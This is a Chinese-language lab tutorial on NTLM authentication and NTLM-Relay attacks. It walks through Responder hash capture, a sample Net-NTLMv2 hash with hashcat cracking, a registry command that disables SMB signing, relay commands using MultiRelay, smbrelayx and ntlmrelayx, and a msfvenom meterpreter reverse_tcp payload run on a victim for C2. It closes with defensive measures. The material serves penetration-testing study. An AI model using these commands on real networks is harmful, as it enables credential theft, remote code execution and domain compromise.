NTLM网络认证及NTLM-Relay攻击
字数 2015 2025-08-24 07:48:33
NTLM网络认证及NTLM-Relay攻击技术详解
一、Windows认证机制概述
Windows认证分为两种主要类型:
- 本地认证:开机登录时,lsass.exe进程将明文密码转换为hash与SAM文件比对
- 网络认证:访问局域网SMB共享等资源时进行的凭证验证过程
二、NTLM协议详解
NTLM协议认证分为三个关键步骤:
1. 协商阶段
- 解决历史遗留问题,确定传输协议版本
- 主要版本:NTLMv1与NTLMv2
2. 挑战阶段
- 服务器生成随机Challenge
- 使用NTLM Hash加密Challenge
3. 验证阶段
- 对质询结果进行验证
- 验证通过后允许访问资源
NTLMv1与NTLMv2区别
| 特性 | NTLMv1 | NTLMv2 |
|---|---|---|
| Challenge长度 | 8位 | 16位 |
| 主要加密算法 | DES | HMAC-MD5 |
| 共同点 | 都使用NTLM Hash进行加密 |
三、挑战响应机制完整过程
工作组环境流程
- 客户端发送用户名到服务器
- 服务器检查本地用户列表:
- 不存在:返回认证失败
- 存在:生成16位随机Challenge
- 服务器使用对应用户NTLM Hash加密Challenge生成Challenge1
- 服务器将Challenge发送给客户端
- 客户端用用户NTLM Hash加密Challenge生成Response(NET-NTLM-Hash)
- 客户端将Response发送给服务器
- 服务器比对Response与Challenge1
域环境流程
- 服务器将用户名、Challenge、Response通过Netlogon协议发送给域控
- 域控在ntds.dit中查找对应用户NTLM Hash
- 域控用Challenge加密NTLM Hash
- 域控比对加密结果与NET-NTLM-Hash
- 域控返回验证结果给服务器
- 服务器根据结果响应客户端
四、Wireshark抓包分析
- 模拟客户端访问服务器共享
- 观察SMB协议中的Negotiate Protocol Response(协商过程)
- 服务器返回16位Challenge
- 客户端用NTLM Hash加密Challenge生成Response
- 构建Net-NTLMhash格式
Net-NTLMhash格式
username::domain:challenge:HMAC-MD5:blob
示例:
test::SENTIMENT:7f3085e50542ee4d:4d11723d0631436ee007f9bdb1ce3a45:01010000000000005da4077f4b10d901d3c521d6bddc4ce50000000002001200530045004e00540049004d0045004e00540001001000570049004e00300038002d005000430004001a00730065006e00740069006d0065006e0074002e0063006f006d0003002c00570069006e00300038002d00700063002e00730065006e00740069006d0065006e0074002e0063006f006d0005001a00730065006e00740069006d0065006e0074002e0063006f006d00070008005da4077f4b10d901060004000200000008003000300000000000000000000000002000003b6ad2d6ec858ee23b79e3ddde29d57c3479fca6042d38c984b242c2b44d1e7f0a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00350032002e00310037003100000000000000000000000000
五、Net-NTLMhash破解
使用hashcat进行爆破:
hashcat -m 5600 [Net-NTLMhash] password.txt -o result.txt --force
参数说明:
-m 5600:对应NetNTLMv2的hash类型--force:强制执行(测试系统不支持Intel OpenCL时)
六、Responder工具使用
前置知识:Windows名称解析顺序
- 本地hosts文件(%windir%\System32\drivers\etc\hosts)
- DNS缓存/DNS服务器
- 链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)
当1、2项未找到对应名称时,系统会通过LLMNR和NBT-NS在本地进行名称解析,广播询问网络中的机器。
获取Net-NTLMhash步骤
- 监听网卡:
sudo responder -I eth1 -fv - 诱使同网段主机访问不存在用户(如
\\sfss) - Responder伪装成目标机器,获取Net-NTLMhash
七、NTLM-Relay攻击
攻击原理
将窃听到的客户端Net-NTLMhash重放到服务端,利用中间人身份获取权限。
攻击前提
- 被攻击机器不能开启SMB签名
- 域内主机SMB签名默认关闭(域控默认开启)
- 需要高权限凭证
实验环境示例
| 虚拟机 | IP |
|---|---|
| Kali | 192.168.52.199 |
| Win2012(域控) | 192.168.52.163 |
| Win2016(域管理员登录) | 192.168.52.198 |
| Win2008(受害机) | 192.168.52.171 |
Responder攻击步骤
- 检查SMB签名状态:
python RunFinger.py -i 192.168.52.0/24 - 关闭SMB签名(如需):
reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f - 修改Responder配置(关闭SMB和HTTP的hash抓取)
- 开启Responder监听:
responder -I eth1 - 启动MultiRelay:
python3 MultiRelay.py -t 192.168.52.171 -u ALL - 诱导高权限用户操作
Impacket工具攻击
- SMBRelay执行命令:
python3 smbrelayx.py -h 192.168.52.171 -c whoami - 诱导访问伪造服务(如http://192.168.52.199)
- 获取权限后执行命令
上线C2方法
- 生成木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.163 LPORT=4444 -f exe -o shell.exe - 启动监听
- 使用smbrelayx.py执行木马:
python3 smbrelayx.py -h 192.168.52.171 -e shell.exe - 进程迁移:
run post/windows/manage/migrate
ntlmrelayx.py使用
python3 ntlmrelayx.py -t smb://192.168.52.171 -c whoami
八、扩展攻击方法
- 通过共享触发:
net use \\不存在主机 - 通过XSS注入:在目标index页面插入触发语句,管理员访问时触发重放攻击
九、防御措施
- 禁用LLMNR和NBT-NS
- 启用SMB签名
- 限制NTLM使用,优先使用Kerberos
- 监控异常认证请求
- 实施网络分段,限制广播域